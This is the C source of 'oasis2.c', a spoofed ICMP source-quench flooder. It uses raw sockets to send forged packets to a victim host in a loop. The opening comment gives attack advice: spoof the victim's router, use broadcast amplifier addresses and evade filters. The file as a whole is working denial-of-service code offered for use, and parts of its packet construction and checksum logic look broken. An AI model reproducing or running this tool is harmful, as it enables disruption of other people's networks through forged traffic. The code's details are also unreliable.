/*                           
 *          
 *    oasis2.c      
 *    error in everyone's kernel (icmp.c) for parsing ICMP_SOURCE_QUENCH
 *    flags. i suggest spoofing from the router of the victim, or else it
 *    it will behave like any other icmp flooder. try going from router to 
 *    router, or using some of those famous (netscan.org) broadcast
 *    addresses to generate more versatile traffic, thus slipping through
 *    possible ipfilter blocks. ive found this especially effective
 *    against FreeBSD/Linux(rh 6.2)
 * 	~oasis	oasis@pimphosting.com
 *	greetz to: #madcircle,#dword, and the guys at net-secure for helpin
 *                 test 
 */			
  
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netinet/in_systm.h>
#include <signal.h>

#define IcmpData   (sizeof(struct icmphdr) + sizeof(struct iphdr) + 8)

#define IpData     (sizeof(struct iphdr) + sizeof(struct icmphdr))
  
           void    banner();
           void    gatorade(u_long, u_short, u_long, u_short, int);
           void    usage(char *);
 unsigned short    checksum0r(u_short *, int);
         u_long    resolve(u_char *);
           void    ctrlc(int);

/***************************/

int main(int argc, char *argv[]) {

 int        sockfd;
 int        one = 1, a = 1;
 u_long     dst_ip = 0, src_ip = 0;
 u_short    srcprt = 0, dstprt = 0; 
 int        repeat;
 
 banner();
 
     if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {

	  perror("Socket error: Are y0u w00t?");
          exit(0);

        }

    setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one));
     
    if (argc != 6) 
 
           usage((char *)argv[0]);
 
 dst_ip = resolve(argv[1]);
 src_ip = resolve(argv[3]);
 
 repeat = atoi(argv[5]);

 srcprt = (u_short)atoi(argv[4]);
 dstprt = (u_short)atoi(argv[2]);
 
signal(SIGINT, ctrlc);

for(a=1;a<=repeat;a++)
 gatorade(src_ip, srcprt, dst_ip, dstprt, sockfd); 

 close(sockfd); 
 puts("d0ne\n");

}

/*******************************/

u_long  
resolve(u_char *host) {

 struct    in_addr addr;
 struct    hostent *hp;

	if ((hp = gethostbyname(host)) != NULL) 

	  bcopy((char *)&hp->h_addr, (char *)&addr.s_addr,hp->h_length);

    else {

         if ((addr.s_addr = inet_addr(host)) < 0) {
	      perror("gethostbyname()");	
              exit(0);
         
         }
         
    }
   
 return(addr.s_addr);

}

/*******************************/

void 
gatorade(u_long spoofip, u_short srcport, u_long victimip, 
	 u_short dstport, int s0ck) {


  
struct sockaddr_in daddr;
char *packet = (char *)malloc(1024);
struct icmphdr *icmp = (struct icmphdr *)(packet + IcmpData);
struct iphdr *ip = (struct iphdr *)(packet + IpData);

 memset(packet, 0, IcmpData + IpData + 8);

 daddr.sin_port = htons(srcport);
 daddr.sin_family = AF_INET;
 daddr.sin_addr.s_addr = victimip;

 icmp->type = ICMP_SOURCE_QUENCH; // icmp.h or ip_icmp.h, depenin on nix
 icmp->code = 4;
 icmp->checksum = checksum0r((u_short *)icmp, IcmpData);


/*     fake ip     */

  ip->version = 4;
  ip->ihl = 20;
  ip->tot_len = htons(IpData + IcmpData + 8);
  ip->tos = 3;                        /* Tcp packet */
  ip->ttl = 30;  
  ip->protocol = 6;
  ip->id = htons(getpid() & 255);
  ip->frag_off = 0;
  ip->check = checksum0r((u_short *)ip, IpData);
  ip->saddr = spoofip;

   bcopy((char *)&daddr.sin_addr.s_addr, &ip->daddr,
sizeof(daddr.sin_addr.s_addr));  
 

/* 
*    "i didnt do it man!"  
*  
*                 -- spoofed host 
*/


  if(sendto(s0ck, packet, IpData + IcmpData + 8, 0, (struct sockaddr
*)&daddr,sizeof(daddr))<0) perror("sendto():");
  

}

/*****************************/

void 
usage(char *string) {

    fprintf(stderr, "\nUsage: %s <Host> <Dest. Port> <SpoofHost>",string);
    fprintf(stderr, " <SpoofPort> <Repeat>\n\n");
 
    exit(0);
}
  
/*******************/

unsigned short checksum0r (u_short *addr, int len)   // by TFreak
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;
   
   while (nleft > 1) {
      sum += *addr++;
      nleft -= 2;
   }

   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer; 
   }

   sum = (sum >> 16) + (sum + 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}

/*********/

void
banner() {

	puts("\nspoofed source quencher");
	puts("by oasis@pimphosting.com");

}

/********/

void ctrlc(int oasis) {
 
 printf("\nDone . . .\n");  
  
exit(0);

}

/* eof */
